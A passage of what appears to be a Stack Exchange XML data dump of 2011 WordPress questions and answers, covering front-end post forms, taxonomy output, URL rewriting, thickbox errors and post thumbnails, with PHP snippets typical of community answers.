/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;performer&quot; value=&quot;&quot; tabindex=&quot;5&quot; size=&quot;20&quot; name=&quot;performer&quot; class=”required” minlength=&quot;3&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;tablature&quot;&amp;gt;Song Body&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea id=&quot;tablature&quot; tabindex=&quot;6&quot; name=&quot;tablature&quot; cols=&quot;50&quot; rows=&quot;6&quot; class=”required” minlength=&quot;50&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA; &amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories( 'show_option_none=Category&amp;amp;tab_index=7&amp;amp;taxonomy=category&amp;amp;exclude=5&amp;amp;class=required' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; tabindex=&quot;8&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;new_post&quot; /&amp;gt;&#xA;&amp;lt;?php wp_nonce_field( 'new-post' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2881" LastActivityDate="2011-02-11T22:31:10.333" Title="Post from front-end only by logged in users, form posts as &quot;posted by: &lt;logged-in user's username&gt;&quot;" Tags="&lt;posts&gt;&lt;customization&gt;&lt;front-end&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9157" PostTypeId="1" AcceptedAnswerId="9158" CreationDate="2011-02-11T19:50:13.093" Score="0" ViewCount="247" Body="&lt;p&gt;I'm using the following line to output an unordered list of taxonomies and their associated terms for a custom post type. The only problem with it is that a period gets added after the term.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_object_terms( $id, the_taxonomies( 'before=&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;amp;sep=&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&amp;amp;after=&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what it outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Taxname: &amp;lt;a href='http://site.com/taxname/taxterm/'&amp;gt;Taxterm&amp;lt;/a&amp;gt;.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an argument I can add to &lt;code&gt;wp_get_object_terms&lt;/code&gt; to remove the period?&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-11T20:43:29.663" LastActivityDate="2011-07-25T06:31:03.437" Title="Why does wp_get_object_terms add a period after terms are output?" Tags="&lt;wp-get-object-terms&gt;&lt;the-taxonomies&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9158" PostTypeId="2" ParentId="9157" CreationDate="2011-02-11T20:13:59.147" Score="4" ViewCount="" Body="&lt;p&gt;wp_get_object_terms() isn't the problem. the_taxonomies() is doing the outputting; it doesn't return anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, your code is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_taxonomies( 'before=&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;amp;sep=&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&amp;amp;after=&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' );&#xA;wp_get_object_terms( $id, null );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if you go to wp-includes/taxonomy.php you will find the dot in the_taxonomies() source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the dot, you need to add a filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_the_dot($template) {&#xA;  return '%s: %l';&#xA;}&#xA;add_filter('taxonomy_template', 'remove_the_dot');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case you're wondering, yes, this &lt;em&gt;is&lt;/em&gt; an akward way of doing things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WP 3.1, you can modify the template simply by passing it as a parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_taxonomies( array(&#xA;  'before' =&amp;gt; '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;',&#xA;  'sep' =&amp;gt; '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;',&#xA;  'after' =&amp;gt; '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;',&#xA;  'template' =&amp;gt; '%s: %l'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-11T21:44:49.177" LastActivityDate="2011-02-11T21:44:49.177" CommentCount="2" />
  <row Id="9159" PostTypeId="2" ParentId="9155" CreationDate="2011-02-11T20:51:22.870" Score="1" ViewCount="" Body="&lt;p&gt;Assuming the user is logged in, then wp_insert_post should automatically set the post author field properly. Have you tried just calling the_author() to output the author of the posts name?&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-11T20:51:22.870" />
  <row Id="9160" PostTypeId="2" ParentId="9154" CreationDate="2011-02-11T20:58:56.203" Score="1" ViewCount="" Body="&lt;p&gt;If you are using a follow button plugin like the one in my &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Twitter Connect&lt;/a&gt; plugin, then you should be able to specify the user you want the button to be for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, with STC, I'd activate STC-Login and the STC-Follow Button Widget plugins. Then I'd have my users &quot;connect&quot; their twitter accounts and their WP accounts (STC-Login lets them do this on the Users-&gt;Your Profile page). That way it knows what their twitter accounts are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then this code in a theme should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$twuid = get_the_author_meta('twuid');&#xA;if ( !empty($twuid) &amp;amp;&amp;amp; function_exists('stc_follow_button') ) {&#xA;  stc_follow_button($twuid);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to put that code into the Loop or somewhere after it, so that the get_the_author_meta() function knows what user to look for.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-11T20:58:56.203" CommentCount="1" />
  <row Id="9162" PostTypeId="1" CreationDate="2011-02-11T21:30:14.163" Score="0" ViewCount="58" Body="&lt;p&gt;I'm hunting for a plugin that will allow me to display a list of links (to posts) within tabs either managed manually or automatically based on editable criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. Four tabs, each listing different posts such as This Month, All Time etc, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example can be seen &lt;a href=&quot;http://www.fourhourworkweek.com/blog/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of such a plugin or will I have to roll my own?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-13T16:22:02.913" LastActivityDate="2011-02-13T16:22:02.913" Title="Plugin hunt - Tabbed lists of links" Tags="&lt;plugin-recommendation&gt;&lt;links&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="9163" PostTypeId="2" ParentId="6236" CreationDate="2011-02-11T21:37:03.377" Score="2" ViewCount="" Body="&lt;p&gt;I recently started using the Plugin Central plugin for this and it works like a charm. I just install Plugin Central with every initial WP install, keep a text file where all of the direct links to my favorite plugin zip downloads are listed, and paste these links into Plugin Central. My 16 favorite plugins are then downloaded and activated within seconds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/plugin-central/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/plugin-central/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-11T21:37:03.377" />
  <row Id="9164" PostTypeId="2" ParentId="5837" CreationDate="2011-02-11T22:20:48.863" Score="1" ViewCount="" Body="&lt;p&gt;The global &lt;code&gt;$current_screen-&amp;gt;post_type&lt;/code&gt; is more robust than relying on &lt;code&gt;$_GET['post_type']&lt;/code&gt; or &lt;code&gt;$parent_file&lt;/code&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="3095" LastActivityDate="2011-02-11T22:20:48.863" />
  <row Id="9165" PostTypeId="2" ParentId="9155" CreationDate="2011-02-11T22:31:10.333" Score="0" ViewCount="" Body="&lt;p&gt;you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;get_currentuserinfo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post_author' =&amp;gt; $current_user-&amp;gt;ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your $new_post array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Posted by: &amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-11T22:31:10.333" CommentCount="11" />
  <row Id="9166" PostTypeId="1" AcceptedAnswerId="9171" CreationDate="2011-02-11T23:23:13.580" Score="1" ViewCount="269" Body="&lt;p&gt;What is the best apache log analyzer plugin for WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Requirements: should produce all reports as available in flashstats: &lt;a href=&quot;http://www.maximized.com/products/flashstats2006/&quot; rel=&quot;nofollow&quot;&gt;http://www.maximized.com/products/flashstats2006/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im looking for things such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;files that have the highest impact on bandwidth usage, &lt;/li&gt;&#xA;&lt;li&gt;potential leechers, &lt;/li&gt;&#xA;&lt;li&gt;bad robots, etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(on posting it said 'the question you are asking appears subjective and is likely to be closed...' no idea why, im really looking for a plugin that gives really a load of reports preferably multisite wide reporting so that i can see which sites use the highest resources).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a little update:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are analyzers based on embedded elements in a page, the counters and the counter 2.0: pretty complete list: &lt;a href=&quot;http://tellertest.com/tellers.php&quot; rel=&quot;nofollow&quot;&gt;http://tellertest.com/tellers.php&lt;/a&gt;. There are many plugins for each of them (currently clicky is #1 and GA is #5) and even so much blockers: &lt;a href=&quot;http://www.google.nl/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=block+google+analytics&quot; rel=&quot;nofollow&quot;&gt;http://www.google.nl/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=block+google+analytics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also log file analyzers like e.g. &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_web_analytics_software&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/List_of_web_analytics_software&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the first class is more for marketing and the second class more for technical people. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think personally that the second class is more useful than the first class of analyzing what is happening on a server but maybe i am wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analyzing data can produce infinite reports depending on imagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I was wondering if there was a WordPress specific weblog-weblog Analyzer which among other has Apache logs / Syslogs / Other OS logs as data input. There are 69 pages when i search for 'statistics' in the WordPress Plugin dir....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, maybe it is interesting BI addon to create.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-02-12T07:56:05.517" LastActivityDate="2011-02-12T07:56:05.517" Title="Best Apache Log Analyzer Plugin?" Tags="&lt;plugins&gt;&lt;stats&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="9167" PostTypeId="1" CreationDate="2011-02-12T00:08:20.390" Score="1" ViewCount="211" Body="&lt;p&gt;I saw the excellent answer (link below) but would like to learn for myself how to look for action call of a specific plugin so i can stop it using the idea of EAMan&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/695/restricting-a-plugin-to-only-load-its-css-and-js-on-selected-pages&quot;&gt;Restricting a Plugin to Only Load its CSS and JS on Selected Pages?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used &lt;a href=&quot;http://wordpress.org/extend/plugins/datapress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/datapress/&lt;/a&gt; and its js/css is only needed on one page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same for other plugins. How do I go about finding out what function those plugins call so I can enabled it on only pages needed.&lt;/p&gt;&#xA;" OwnerUserId="3008" LastActivityDate="2011-02-13T00:49:54.383" Title="Force CSS and JS loading of plugin only where needed" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9168" PostTypeId="1" AcceptedAnswerId="9265" CreationDate="2011-02-12T00:37:57.873" Score="0" ViewCount="411" Body="&lt;p&gt;I have 3 problems.&#xA;First,I would like something like this to do :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/myblog =&amp;gt; myblog.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;myblog is template page.&#xA;and then when open one post from that page(post are custom post type) url will look like this &lt;code&gt;myblog.example.com/my-custom-post-type-post&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/mycar =&amp;gt; mycar.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my car is also template page,and then when open post from that page(posta are also custom post type,but this time post will be in subcategory) url will look something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mycar.example.com/my-subcategory/my-car-custom-post-type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dont know how to do this in wp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third,can someone help me to figure it out why is this not working.&#xA;I would like to rewrite this url &#xA; &lt;a href=&quot;http://www.example.com/data-page/?data_id=123456789&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/data-page/?data_id=123456789&lt;/a&gt; to &lt;a href=&quot;http://www.example.com/data-page/data_id/123456789&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/data-page/data_id/123456789&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_filter('query_vars', 'add_my_var');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_my_var($public_query_vars) {&#xA;    $public_query_vars[] = 'data_id';&#xA;    return $public_query_vars;&#xA;}&#xA;&#xA;function add_rewrite_rules($rules) {&#xA;    $newrules['data-page/data_id/([0-9]{1,})/?$'] = 'index.php?data_id=$matches[1]';&#xA;    $rules = $newrules + $rules;&#xA;    return $rules;&#xA;}&#xA;&#xA;function flushRules() {&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;add_filter('rewrite_rules_array', 'add_rewrite_rules');&#xA;add_filter('init', 'flushRules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the way I send data to another page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?= add_query_arg(array('data_id'=&amp;gt;32),get_permalink(get_page_by_path('data-page'))); ?&amp;gt;&quot;&amp;gt;Data page test link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-02-14T08:46:59.140" LastActivityDate="2011-02-14T12:31:02.737" Title="Help with Wordpress custom url rewriting?" Tags="&lt;url-rewriting&gt;&lt;custom-content&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9169" PostTypeId="1" CreationDate="2011-02-12T00:48:44.350" Score="0" ViewCount="71" Body="&lt;p&gt;I just installed WordPress and I'm trying to set a image to every post I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom fields ----name: paddimage-gallery --value: URL of image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go to my home page and it does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of a page were it does work: &lt;a href=&quot;http://maimpok-template.blogspot.com/&quot; rel=&quot;nofollow&quot;&gt;MAIMPOK THEME&lt;/a&gt;&lt;/p&gt;&#xA;" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-06-30T09:18:26.070" LastActivityDate="2011-06-30T09:18:26.070" Title="Post image in WordPress not appearing on home page" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="9170" PostTypeId="2" ParentId="9169" CreationDate="2011-02-12T03:43:45.327" Score="1" ViewCount="" Body="&lt;p&gt;You are almost there you just need to call it inside your theme file&#xA;say in your index.php&#xA;inside the loop somewhere between &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA; ///&#xA; ///&#xA;&amp;lt;?php endwhile; // End the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you need to add a call for that image using get_post_meta()&#xA;like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;   $img_src = get_post_meta($post-&amp;gt;ID, 'paddimage-gallery', true);&#xA;   if (isset($img_src){&#xA;     echo '&amp;lt;img src=' . $img_src . '&amp;gt;';&#xA;   }&#xA;   ///&#xA;&amp;lt;?php endwhile; // End the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-12T03:43:45.327" />
  <row Id="9171" PostTypeId="2" ParentId="9166" CreationDate="2011-02-12T05:04:00.870" Score="3" ViewCount="" Body="&lt;p&gt;&quot;best apache log analyzer plugin for WordPress&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a joke question, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, no offense, but you're probably new to the web. And if so, you probably should know that Apache logs actually pick up and log:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Search Engine bots (not just Google: any bot, and there are many, many, many...)&lt;/li&gt;&#xA;&lt;li&gt;Comment spam bots&lt;/li&gt;&#xA;&lt;li&gt;Ping spam bots&lt;/li&gt;&#xA;&lt;li&gt;Referral spam bots&lt;/li&gt;&#xA;&lt;li&gt;Other spam bots&lt;/li&gt;&#xA;&lt;li&gt;More spam bots&lt;/li&gt;&#xA;&lt;li&gt;Did I mention spam bots yet?&lt;/li&gt;&#xA;&lt;li&gt;Oh yeah, there might be a few more I forgot...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Seriously though, the only thing you should be using for analytics is Google Analytics or an equivalent (and expensive) piece of software). Unless, of course, you're the only one who actually sees the latter and are not ashamed to tell your customer that his recently search optimized site now has 10k uniques per month -- in spite of the fact that GA tells you that your actual traffic is around 100 real visitors per month. (Seen in real life, don't laugh.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re your secondary question, for bandwidth just use the host's default analyzer (usually webanalyzer or equivalent, which for this purpose is arguably good since it &lt;em&gt;includes&lt;/em&gt; spam bots).&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-12T05:04:00.870" CommentCount="8" />
  <row Id="9172" PostTypeId="2" ParentId="9167" CreationDate="2011-02-12T05:21:50.203" Score="2" ViewCount="" Body="&lt;p&gt;is_admin() is useful for the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The load-$pagenow hook and a few others are useful on the backend. wp-admin/admin-header.php, for instance, contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('admin_enqueue_scripts', $hook_suffix);&#xA;do_action(&quot;admin_print_styles-$hook_suffix&quot;);&#xA;do_action('admin_print_styles');&#xA;do_action(&quot;admin_print_scripts-$hook_suffix&quot;);&#xA;do_action('admin_print_scripts');&#xA;do_action(&quot;admin_head-$hook_suffix&quot;);&#xA;do_action('admin_head');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the $hook_suffix variable, which you can var_dump() then and there to know what its value is when your plugin's page is being loaded.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-12T05:21:50.203" CommentCount="0" />
  <row Id="9173" PostTypeId="1" AcceptedAnswerId="9460" CreationDate="2011-02-12T06:33:54.483" Score="0" ViewCount="75" Body="&lt;p&gt;I had a WordPress webshop setup, and I am using the [MailChimp Framework plugin][1] for sending newsletter, among other things. Now, the setup has been running since January 1st, then all of the sudden the Mailchimp framework suddenly stopped sending. The &quot;Everything's Chimpy&quot; ping status does not appear as well, sometimes it's NULL, sometimes it's garbage character. I am pretty sure I haven't touched any code of the plugin, and a colleague having a totally different project has experienced it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I remember their reply used to be &quot;text/json&quot;, but now I see a reply with Content-type &quot;application/json&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is any one of you experiencing this as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Mailchimp API responded:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://groups.google.com/group/mailchimp-api-discuss/browse_thread/thread/f46b9ddfc6725aa3&quot; rel=&quot;nofollow&quot;&gt;http://groups.google.com/group/mailchimp-api-discuss/browse_thread/thread/f46b9ddfc6725aa3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://groups.google.com/group/mailchimp-api-discuss/browse_thread/thread/8a03c3a9cd3dc3bf&quot; rel=&quot;nofollow&quot;&gt;http://groups.google.com/group/mailchimp-api-discuss/browse_thread/thread/8a03c3a9cd3dc3bf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be a problem with connections being suddenly being dropped at mid-call. They have updated the MCAPI wrapper. I haven't tested this yet.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="2630" LastEditorDisplayName="" LastEditDate="2011-02-15T01:14:07.690" LastActivityDate="2011-02-16T01:07:54.910" Title="Wordpress MailChimp Framework suddenly stopped working without modification" Tags="&lt;plugin-mailchimp&gt;" AnswerCount="1" />
  <row Id="9174" PostTypeId="2" ParentId="9166" CreationDate="2011-02-12T06:36:21.610" Score="2" ViewCount="" Body="&lt;p&gt;There is a good old Analog (analog.cx), not very user-friendly, but high adaptable...&lt;/p&gt;&#xA;" OwnerUserId="2922" LastActivityDate="2011-02-12T06:36:21.610" CommentCount="3" />
  <row Id="9175" PostTypeId="1" AcceptedAnswerId="9214" CreationDate="2011-02-12T07:17:56.673" Score="1" ViewCount="1074" Body="&lt;p&gt;I want to know how to get image url on &lt;code&gt;the_post_thumbnail()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default &lt;code&gt;the_post_thumbnail()&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img width=&quot;800&quot; height=&quot;533&quot; src=&quot;http://domain.com/wp-content/uploads/2011/02/book06.jpg&quot; class=&quot;attachment-post-thumbnail wp-post-image&quot; alt=&quot;book06&quot; title=&quot;book06&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I want grab the src only. How do I filter &lt;code&gt;the_post_thumbnail()&lt;/code&gt; only to get &lt;code&gt;http://domain.com/wp-content/uploads/2011/02/book06.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know&lt;/p&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2011-02-13T10:18:09.720" Title="How do I get image url only on the_post_thumbnail" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9176" PostTypeId="1" AcceptedAnswerId="9263" CreationDate="2011-02-12T07:52:17.740" Score="0" ViewCount="243" Body="&lt;p&gt;I have an error generated from thickbox loading on every page including the admin area.  This is being printed into the html &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&amp;gt;&#xA;&amp;lt;![CDATA[ */ var thickboxL10n = {&#xA;next: &quot;Next &amp;amp;gt;&quot;, prev: &quot;&amp;amp;lt; Prev&quot;,image: &#xA;&quot;Image&quot;,  of: &quot;of&quot;, close: &quot;Close&quot;, &#xA;noiframes: &quot;This feature requires inline frames. You have iframes disabled or your browser does not support them.&quot; }; &#xA;try{convertEntities(thickboxL10n);}catch(e){}; /* ]]&amp;gt; */ &amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;  &#xA;&#xA;&lt;p&gt;I would not really care but it is breaking firefox which sucks when the project is mid-development.  The problem is here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;convertEntities is not defined&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line 55&#xA;  try{convertEntities(thickboxL10n);}catch(e){};&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried to just stop it with a function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function conditional_thickbox() {&#xA;  global $post;&#xA;  if (is_singular() &amp;amp;&amp;amp;&#xA;    strpos($post-&amp;gt;post_content,'class=&quot;thickbox&quot;') !== false) {&#xA;      wp_enqueue_script('thickbox');&#xA;      wp_enqueue_style('thickbox');&#xA;  }&#xA;}&#xA;add_action('wp_print_styles','conditional_thickbox');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works well but it removes from everywhere and I realized this is a dependency for Wordpress image upload functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I found the fix here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/attachment/ticket/16227/convertEntities-Firebug-Fix.diff&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/attachment/ticket/16227/convertEntities-Firebug-Fix.diff&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which requires me hacking the core, any ideas on the best way to fix this ?&lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-13T15:56:21.600" LastActivityDate="2011-02-13T15:56:21.600" Title="convertEntities() used before it is defined" Tags="&lt;javascript&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9177" PostTypeId="2" ParentId="9175" CreationDate="2011-02-12T08:37:15.110" Score="0" ViewCount="" Body="&lt;p&gt;Ok got it using &lt;a href=&quot;http://php.net/manual/en/function.simplexml-load-string.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;simplexml_load_string&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dom = simplexml_load_string(get_the_post_thumbnail());&#xA;$src = $dom-&amp;gt;attributes()-&amp;gt;src;&#xA;    echo $src;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another method are welcome.&lt;/p&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2011-02-12T08:37:15.110" />
